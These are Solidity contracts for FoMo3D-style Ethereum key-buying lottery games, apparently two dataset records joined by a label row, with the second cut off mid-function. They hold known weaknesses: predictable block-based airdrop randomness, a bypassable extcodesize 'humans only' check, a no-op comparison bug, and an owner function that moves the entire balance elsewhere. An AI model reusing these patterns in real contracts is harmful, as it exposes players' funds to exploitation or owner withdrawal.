emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 882 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract EthKillerLong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address public teamAddress = 0xc2daaf4e63af76b394dea9a98a1fa650fc626b91;
function setTeamAddress(address addr) isOwner() public {
teamAddress = addr;
}
function gameSettings(uint256 rndExtra, uint256 rndGap) isOwner() public {
rndExtra_ = rndExtra;
rndGap_ = rndGap;
}
string constant public name = "Eth Killer Long Official";
string constant public symbol = "EKL";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 0;
uint256 constant private rndInit_ = 12 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
uint256 public registrationFee_ = 10 finney;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
uint256 private playerCount = 0;
uint256 private totalWinnersKeys_;
uint256 constant private winnerNum_ = 5;
function registerName(address _addr, bytes32 _name, uint256 _affCode) private returns(bool, uint256) {
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
require(pIDxName_[_name] == 0, "sorry that names already taken");
uint256 _pID = pIDxAddr_[_addr];
bool isNew = false;
if (_pID == 0) {
isNew = true;
playerCount++;
_pID = playerCount;
pIDxAddr_[_addr] = _pID;
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
}
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) {
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
return (isNew, _affCode);
}
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode) private returns(bool, uint256) {
uint256 _affID = 0;
if (_affCode != address(0) && _affCode != _addr) {
_affID = pIDxAddr_[_affCode];
}
return registerName(_addr, _name, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode) private returns(bool, uint256) {
uint256 _affID = 0;
if (_affCode != "" && _affCode != _name) {
_affID = pIDxName_[_affCode];
}
return registerName(_addr, _name, _affID);
}
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
address owner;
constructor()
public
{
owner = msg.sender;
fees_[0] = F3Ddatasets.TeamFee(30,12);
fees_[1] = F3Ddatasets.TeamFee(43,7);
fees_[2] = F3Ddatasets.TeamFee(52,16);
fees_[3] = F3Ddatasets.TeamFee(43,15);
potSplit_[0] = F3Ddatasets.PotSplit(15,15);
potSplit_[1] = F3Ddatasets.PotSplit(25,10);
potSplit_[2] = F3Ddatasets.PotSplit(20,24);
potSplit_[3] = F3Ddatasets.PotSplit(30,14);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isOwner() {
require(owner == msg.sender, "sorry owner only");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function updateContract(address newContract) isOwner() public returns (bool) {
if (round_[rID_].end < now) {
Fomo3dContract nc = Fomo3dContract(newContract);
newContract.transfer(address(this).balance);
nc.setOldContractData(address(this));
return (true);
}
return (false);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == "" || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
